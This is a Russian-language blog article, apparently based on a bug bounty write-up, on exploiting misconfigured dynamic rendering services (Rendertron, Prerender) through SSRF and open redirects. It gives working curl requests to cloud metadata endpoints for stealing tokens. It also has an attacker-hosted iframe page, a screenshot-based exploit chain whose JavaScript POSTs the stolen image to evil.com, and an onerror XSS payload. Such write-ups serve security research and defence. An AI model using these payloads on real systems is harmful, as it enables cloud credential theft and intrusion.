Как добавить уязвимость в веб-приложение

Как заразить веб-приложение используя динамический рендеринг

Динамический рендеринг становится очень популярным,потому как это отличный способ совместить JS и SEO.Поэтому в этой статье мы рассмотрим как с помощью двух утилит можна добавлять уязвимости в веб-приложение, если эти утилиты настроены неправильно и попробуем обьяснить как можно захватить сервер компании при этом используя уязвимость веб-приложения.

Фреймворки JavaScript активно используются для создания веб-сайтов и веб-приложений — вместо статических HTML-страниц сейчас популярны PWA (прогрессивные веб-приложения) и SPA (одностраничные приложения), которые составляют большую часть содержимого в браузере пользователя. . У этого подхода есть много преимуществ, и в Интернете он позволяет создавать адаптивный интерфейс, но в то же время этот подход враждебен SEO, потому что большинство поисковых систем и ботов не понимают JavaScript и не могут отображать страницы правильно.

Помощь ботам в этом случае заключается в том, чтобы открыть запрошенную страницу в headless-бра­узе­ре на стороне сервера, дождаться отображения страницы и вернуть полученный HTML-код после очистки его от ненужных тегов. Этот метод называется «динамический рендеринг» и сейчас активно продвигается Google как возможность оптимизации сайта для поиска.

Популярность динамического рендеринга растет, поэтому полезно понимать, что может пойти не так при использовании в производственной среде.
В своем исследовании я рассмотрел два самых популярных приложения для динамического рендеринга, Rendertron и Prerender. Однако описанные атаки могут быть использованы и для других приложений этого типа.
Я также расскажу вам немного о том, как мне удалось применить полученные знания при поиске уязвимостей в Bug Bounty.

Разведка

Какие страницы обычно используют динамический рендеринг? Эти страницы, скорее всего, будут в открытом доступе, так как цель динамического рендеринга — улучшить их индексируемость. Содержимое этих страниц будет генерироваться с использованием JavaScript, и данные на странице будут динамически изменяться. Например, это может быть постоянно обновляемый новостной сайт или часто обновляемый список популярных товаров в интернет-магазине.

Вы можете проверить, использует ли найденная потенциальная цель динамический рендеринг, отправив несколько запросов с разными значениями заголовка User-Agent.

Вот зап­рос, который прит­воря­ется Google Chrome:

curl -v -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" https://shop.polymer-project.org/

А вот зап­рос яко­бы от бота Slack:

curl -v -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://shop.polymer-project.org/

Ес­ли отве­ты от сер­вера раз­лича­ются, а ответ на зап­рос от под­дель­ного кра­уле­ра при­ходит в виде кра­сиво­го HTML без тегов <script>, это озна­чает, что сайт исполь­зует динами­чес­кий рен­деринг.

В качестве подопытного я использовал демонстрационный сайт Google для фреймворка Polymer. Внтри у него Rendertron.

Как заразить веб-приложение используя динамический рендеринг

Можем сравнить запросы

Подробную информацию о конкретных значениях User-Agent, на которые реагирует приложение, можно найти в исходном коде Rendertron (файл middleware.ts). Кроме того, Rendertron всегда возвращает заголовок X-Renderer: Rendertron. Prerender может писать в ответах X-Prerender: 1, но это не по умолчанию.

Оба фрей­мвор­ка дают раз­работ­чикам воз­можность управлять заголов­ками отве­та с помощью метате­гов на стра­нице. Это полез­но для детек­та динами­чес­кого рен­дерин­га.

При­мер для Prerender:

<meta name="prerender-status-code" content="302" />

<meta name="prerender-header" content="Location: https://www.google.com" />

При­мер для Rendertron:

<meta name="render:status_code" content="404" />

Архитектура

Один из возможных способов отображения контента, подходящего для индексации поисковому роботу, работает следующим образом: запрос перехватывается, страница отображается на сервере, а результат в виде HTML со всем необходимым контентом возвращается боту.

Как заразить веб-приложение используя динамический рендеринг

  1. Сер­вер опре­деля­ет, что зап­рос при­ходит от кра­уле­ра, по заголов­ку User-Agent (в некото­рых слу­чаях — по парамет­рам URL).
  2. Зап­рос перенап­равля­ется при­ложе­нию для динами­чес­кого рен­дерин­га.
  3. При­ложе­ние для динами­чес­кого рен­дерин­га запус­кает headless-бра­узер и откры­вает исходный URL так, буд­то его смот­рит обыч­ный поль­зователь.
  4. По­лучив­ший­ся HTML очи­щает­ся от уже не нуж­ных тегов <script> и воз­вра­щает­ся на сер­вер.
  5. Сер­вер воз­вра­щает резуль­тат кра­уле­ру.

SSRF. Легкий вариант

Самый простой способ заполучить приложение для динамического рендеринга — сделать его доступным извне. Затем вы можете взаимодействовать с ним напрямую и отправлять любые запросы, включая запросы в локальную инфраструктуру.
Доступ к локальным адресам имеет некоторые ограничения. Однако в зависимости от версии приложения вы можете попробовать их обойти.

Prerender

У Prerender нет фрон­тенда, поэто­му его слож­нее обна­ружить. Поиск осложня­ется еще и тем, что зап­рос на / воз­вра­щает ста­тус 400 без инте­рес­ных заголов­ков:

HTTP/1.1 400 Bad Request

Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 03 Aug 2020 06:55:29 GMT

API Prerender выг­лядит сле­дующим обра­зом.

  • GET /:url
  • GET /render?url=:url
  • POST /render?url=:url

Спи­сок всех нас­тро­ек мож­но най­ти в до­кумен­тации, основные выводы:

  • Prerender тоже может делать скрин­шоты;
  • followRedirects (по умол­чанию false) раз­реша­ет перенап­равле­ния с одно­го адре­са на дру­гой.

Единс­твен­ный спо­соб опре­делить исполь­зование Prerender — это отпра­вить зап­рос по адре­су /render?url=http://www.example.com и про­верить резуль­тат. У Prerender нет встро­енной бло­киров­ки зап­росов к облачным API, но он поз­воля­ет поль­зовате­лям задавать спис­ки раз­решен­ных и заб­локиро­ван­ных URL, поэто­му в зависи­мос­ти от нас­тро­ек есть веро­ятность, что может получить­ся зап­рос вро­де такого:

curl https://rendertron-instance.here/render?url=http://169.254.169.254/latest/meta-data/

Так­же Prerender соеди­няет­ся с Chrome через отла­доч­ный интерфейс, который всег­да открыт на пор­те 9222, поэто­му если зап­росы на этот адрес раз­решены, то есть воз­можность вытащить Chrome ID.

curl https://rendertron-instance.here/render?url=http://localhost:9222/json/

Теперь вы можете отправлять запросы WebSocket прямо в Chrome и, таким образом, управлять встроенным браузером. Например, открывать новые вкладки, отправлять любые запросы и читать локальные файлы (подробности см. В документации протокола Chrome DevTools).

Здесь я сосредотачиваюсь на попытке сниффинга API облачного провайдера, но важно отметить, что если облачные запросы отключены в Rendertron или Prerender, вы все равно можете попытаться отправить запросы в другие части инфраструктуры — например, для кеширования или базы данных.

Rendertron

Rendertron про­ще все­го най­ти, потому что у него есть интерфейс, который поз­воля­ет отправ­лять зап­росы и делать скрин­шоты.

Rendertron

Rendertron

Rendertron
  • Вер­сия 3.1.0 — есть воз­можность задать спи­сок раз­решен­ных URL (но их нуж­но нас­тро­ить самому).
  • Вер­сия 3.0.0 — есть бло­киров­ка пря­мых зап­росов к Google Cloud, тем не менее ее мож­но обой­ти, отпра­вив зап­росы через iFrame, бло­киров­ка не рас­простра­няет­ся на дру­гие облачные плат­формы (AWS, Digital Ocean и про­чие).
  • Ста­рые вер­сии бло­киру­ют зап­росы к Google Cloud, но раз­реша­ют зап­росы к бета‑вер­сии API (http://metadata.google.internal/computeMetadata/v1beta1/).
  • Вер­сия 1.1.1 и млад­ше — раз­решены любые зап­росы.

Rendertron API (из докумен­тации):

  • GET /render/:url — отоб­разит и сери­али­зует стра­ницу;
  • GET /screenshot/:url и POST /screenshot/:url — сде­лает скрин­шот стра­ницы.

Дополнительные настройки для headless-бра­узе­ра можно передать с помощью запроса POST через объект JSON. См. Дополнительную информацию в документации Puppeteer. Вы также можете указать тип (стандартный JPEG) и кодировку (стандартный двоичная).

Итак, если ты нат­кнул­ся на рабочий Rendertron, пер­вое, что мож­но сде­лать, — это пред­при­нять SSRF-ата­ку и, к при­меру, получить токены от обла­ка сле­дующим спо­собом:

curl https://rendertron-instance.here/render/http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

Ли­бо:

curl https://rendertron-instance.here/render/http://169.254.169.254/latest/meta-data/

Ес­ли зап­росы бло­киру­ются, все еще есть шанс зас­тавить Headless Chrome открыть iFrame и показать скрин­шот, содер­жащий метадан­ные: отпра­вить зап­рос на /screenshot и нап­равить Rendertron на стра­ницу, которую ты кон­тро­лиру­ешь.

curl https://rendertron-instance.here/render/http://www.attackers-website.here/iframe-example

HTML по адре­су www.attackers-website.here содер­жит iFrame, который обра­щает­ся к API Google Cloud, дос­тупно­му толь­ко на сер­вере.

<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
</head>
<body>
<iframe
src="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json"
width="468"
height="600"
></iframe>
</body>
</html>

В резуль­тате мы получа­ем скрин­шот с фрей­мом, который содер­жит сек­ретный токен.

Этот баг исправ­лен в вер­сии 3.1.0.

Атакуем через зараженные веб-приложения

Исследуя подходящие сервера (с уязвимостью и подлежащих bug bounty) я просто отправил запросы во все возможные домены с заголовком User-Agent: Slackbot blabla. Только один раз я получил ответ с названием X-Renderer: Rendertron, но этого было достаточно, чтобы заработать поощрение. 🙂

Если приложение динамического рендеринга не на виду, но вы можете определить, что сайт его использует, вероятность атаки все же существует. Любой способ, которым вы можете встроить свой контент на страницу или перенаправить страницу на ту, где вы можете управлять контентом, может помочь в этом. Самый простой вариант — найти открытый редирект. Что, кстати, многие программы bug bounty не принимают за уязвимость.

Ес­ли open redirect най­ден, то лег­ко устро­ить ата­ку, прос­то отпра­вив зап­росы:

curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://metadata.google.internal/computeMetadata/v1beta1/

 
curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://169.254.169.254/latest/meta-data/

Так­же мож­но перенап­равить на стра­ницу, содер­жащую фрей­мы, если пря­мые зап­росы заб­локиро­ваны.

Как заразить веб-приложение используя динамический рендеринг

Большинство чит-листов и руководств по open redirect сосредоточены на перенаправлениях, которые происходят через сервер. Но поскольку динамический рендеринг используется на страницах с большим количеством сложного JavaScript, вы с большей вероятностью столкнетесь с уязвимостью на стороне клиента.

В этом мне очень помог Semgrep. Я обрисовал в общих чертах несколько шаблонов того, как могут происходить перенаправления в JavaScript, и просканировал весь код на страницах, принадлежащих моему месту назначения. В течение часа было обнаружено открытое перенаправление.

По­иск XSS- или HTML-инъ­екции выг­лядел слож­ной задачей, поэто­му я сфо­куси­ровал­ся на поис­ке open redirect. Мне повез­ло, и цель, которую я обна­ружил, была уяз­вима к нему.

Те­перь оста­лось толь­ко зас­тавить headless-бра­узер совер­шить перенап­равле­ние и вытащить метадан­ные от Google Cloud (URL был изме­нен, что­бы не раз­гла­шать информа­цию о при­ват­ной bug bounty).

Пример с bug bounty

bug bounty

Мне улыбнулась удача- я наткнулся на устаревшую версию, которая не блокировала прямые запросы метаданных. Однако, если бы они были заблокированы, их все равно можно было бы запросить через iFrame. Однако есть одна проблема: получить содержимое этого iFrame. Сделать это можно, сделав скриншоты страницы. Сценарий атаки следующий.

Rendertron hack sequence

Rendertron hack sequence

1. Стра­ница, которая кон­тро­лиру­ется ата­кующим, откры­вает­ся во вклад­ке headless-бра­узе­ра — «Стра­ница #1».

<html>
<body>
<script type="text/javascript">
fetch(
"http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html"
);
</script>
</body>
</html>

2. Это зас­тавля­ет бра­узер отпра­вить зап­рос самому себе (локаль­но) и показать резуль­тат рен­дерин­га с веб‑стра­ницей ата­кующе­го («Стра­ница #2»).

http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html

3. Headless-бра­узер откры­вает URL («Стра­ница #3»), который сно­ва отправ­ляет зап­рос в при­ложе­ние для рен­дерин­га.

http://localhost:3000/render/http://www.attackers-website.url/exploit.html

4–5. Бра­узер откры­вает еще одну стра­ницу, кон­тро­лиру­емую ата­кующим, — http://www.attackers-website.url/exploit.html («Стра­ница #4») — со сле­дующим кодом:

<html>
<body>
<img
id="hacked"
src="http://localhost:3000/screenshot/http://metadata.google.internal/computeMetadata/v1beta1/?width=800&height=800"
width="800"
height="800"
/>
<img
src="x"
onerror='(n=0,i=document.getElementById("hacked"),i.onload=function(){n++;e=document.createElement("canvas");e.width=i.width,e.height=i.height,e.getContext("2d").drawImage(i,0,0);t=e.toDataURL("image/png");if(n>1){fetch("http://www.evil.com",{method:"POST",body:JSON.stringify(t)})}})()'
/>
</body>
</html>

Пол­ная вер­сия кода на JavaScript, который выпол­няет­ся по событию onerror:

var n = 0;

var img = document.getElementById("hacked"); // <-- скриншот с метаданными
 
img.onload = function() {
// Когда скриншот загрузился:
n++;
 
// Скопировать скриншот в элемент типа canvas
var canvasEl = document.createElement("canvas");
(canvasEl.width = img.width),
(canvasEl.height = img.height),
canvasEl.getContext("2d").drawImage(img, 0, 0);
 
// Получить содержимое скриншота
var imgContent = e.toDataURL("image/png");
 
if (n > 1) {
fetch("http://www.attackers-website.url", {
// Отправить содержимое скриншота атакующему
method: "POST",
body: JSON.stringify(imgContent),
});
}
};

6–7. Бра­узер соз­дает скрин­шот стра­ницы, которая содер­жит iFrame с дан­ными от облачно­го API. Нап­ример:

http://metadata.google.internal/computeMetadata/v1beta1/

8. Затем бра­узер отправ­ляет его на хост ата­кующе­го, но оба зап­роса не будут работать из‑за защиты SOP (изоб­ражение извле­кает­ся из localhost, в то вре­мя как текущий URL — http://www.attackers-website.url). Тем не менее получен­ный HTML-код воз­вра­щает­ся в headless-бра­узер («Стра­ница #3»).

9–10. Тот же HTML-код отоб­ража­ется внут­ри вклад­ки бра­узе­ра («Стра­ница #3»), но на этот раз все зап­росы работа­ют, потому что пра­вила SOP не наруша­ются (хост стра­ницы такой же, как и у изоб­ражения, — localhost:3000).

11. Изоб­ражение с токеном отправ­ляет­ся ата­кующе­му.

Ад­рес http://metadata.google.internal/computeMetadata/v1beta1/, который час­то исполь­зует­ся в при­мерах, уста­рел. В Google объ­яви­ли, что ско­ро он перес­танет отве­чать и экзем­пля­ры Rendertron, работа­ющие в Google Cloud, боль­ше не будут так лег­ко отда­вать свои токены. В любом слу­чае имей в виду, что методо­логия и при­емы это­го иссле­дова­ния могут при­менять­ся не толь­ко для уго­на облачных токенов, но и для исполь­зования SSRF в целом.

Хитрости и рекомендации

Ес­ли не получа­ется про­экс­плу­ати­ровать SSRF, но open redirect на стра­нице есть, то мож­но про­вер­нуть XSS. Как упо­мина­лось ранее, при­ложе­ния для динами­чес­кого рен­дерин­га отсе­кают теги <script> и ссыл­ки на JavaScript, но код внут­ри атри­бутов оста­ется нет­ронутым, поэто­му будет работать и при­водить к XSS-перенап­равле­нию вро­де такого:

<html>

<body>
<img src="x" onerror="alert(1)" />
</body>
</html>

И никаких проб­лем с CORS, так как код выпол­нится по адре­су стра­ницы!

Полезные материалы

1.Правила которые использовались вэтойстатье

2.Примечательная подборка примеров атак SSRF на GitHub

Итоги

Поскольку динамический рендеринг-это разумныйспособ совместить использование JS и SEO то понятно что он и далее будет набирать популярность.Беря во внимание то что Google и  другие компании продвигают этот подход важно понимать какие слабости эта технология несет вместе с собой.Важно знать что даже самые малые погрешности в системе безопасности могут привести к RCE.Если ты  состоишь в  системе безопасности то всегда помни что headless-бра­узер если настроен неправильно может принести много уязвимостей внутрь всей инфраструктуры.

Вся информация представлена ​​только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения этого документа.

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.